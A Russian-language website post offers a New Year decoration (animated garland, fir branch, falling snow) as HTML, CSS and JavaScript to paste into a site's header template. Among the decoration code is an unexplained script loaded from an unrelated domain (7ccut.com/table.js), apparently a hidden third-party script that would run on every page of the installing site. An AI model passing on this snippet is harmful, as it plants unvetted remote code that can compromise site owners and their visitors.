Пятница, 22.11.2024, 19:42Вы вошли как Гость Группа "Гости" выход



Главная | Форум | Файлы | Ваша ссылка | Блог | Статьи | Видео
Навигация по сайту
  Главная
  Новости сайта
  Программы
  Музыка
  Игры
  Flash игры
  Фильмы
  Фильмы онлайн
  Сериалы
  Видео клипы
  Скрипты
  Шаблоны
  Книги
  Обои
  Видео уроки
  Добавление новостей

Ваш профиль

Статистика
Rambler's Top100
Рейтинг@Mail.ru



Главная » 2013 » Декабрь » 12 » Новогодние украшения на сайт
17:37
Новогодние украшения на сайт
Новогоднее украшение для сайта или блога. В слевом верхнем углу расположенна ветка елки, по всему сайту сыпется мелкий снег, в вержней части мерцает разноцветная герлянда. Очень нарядно и красиво.

Устанавливает очень просто:
Заходим в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код:

Код
<style type="text/css">  
#garland {position:absolute;top:0;left:0;background-image:url('http://pnghosts.ru/img/christmas.png');height:36px;width:100%;overflow:hidden;z-index:99}  
#nums_1 {padding:100px}  
.garland_1 {background-position: 0 0}  
.garland_2 {background-position: 0 -36px}  
.garland_3 {background-position: 0 -72px}  
.garland_4 {background-position: 0 -108px}  
</style>  

<div id="garland" class="garland_4"><div id="nums_1">1</div></div>  

<script type="text/javascript">  
function garland() {  
nums = document.getElementById('nums_1').innerHTML  
if(nums == 1) {document.getElementById('garland').className='garland_1';document.getElementById('nums_1').innerHTML='2'}  
if(nums == 2) {document.getElementById('garland').className='garland_2';document.getElementById('nums_1').innerHTML='3'}  
if(nums == 3) {document.getElementById('garland').className='garland_3';document.getElementById('nums_1').innerHTML='4'}  
if(nums == 4) {document.getElementById('garland').className='garland_4';document.getElementById('nums_1').innerHTML='1'}  
}  

setInterval(function(){garland()}, 600)  
</script>
<nolayer>  
<div style="position:absolute; top:0; left:0;">  
</nolayer>
<script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<img border="0" src="http://pnghosts.ru/img/elka.png" align="left" />  
<nolayer>  
</div>  
</nolayer>
<script type="text/javascript" src="http://pnghosts.ru/js_css/snow.js"></script>


Готово.
Категория: | Добавил: Гость | Дата: 22.11.2024 | Просмотров: 219 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск на сайте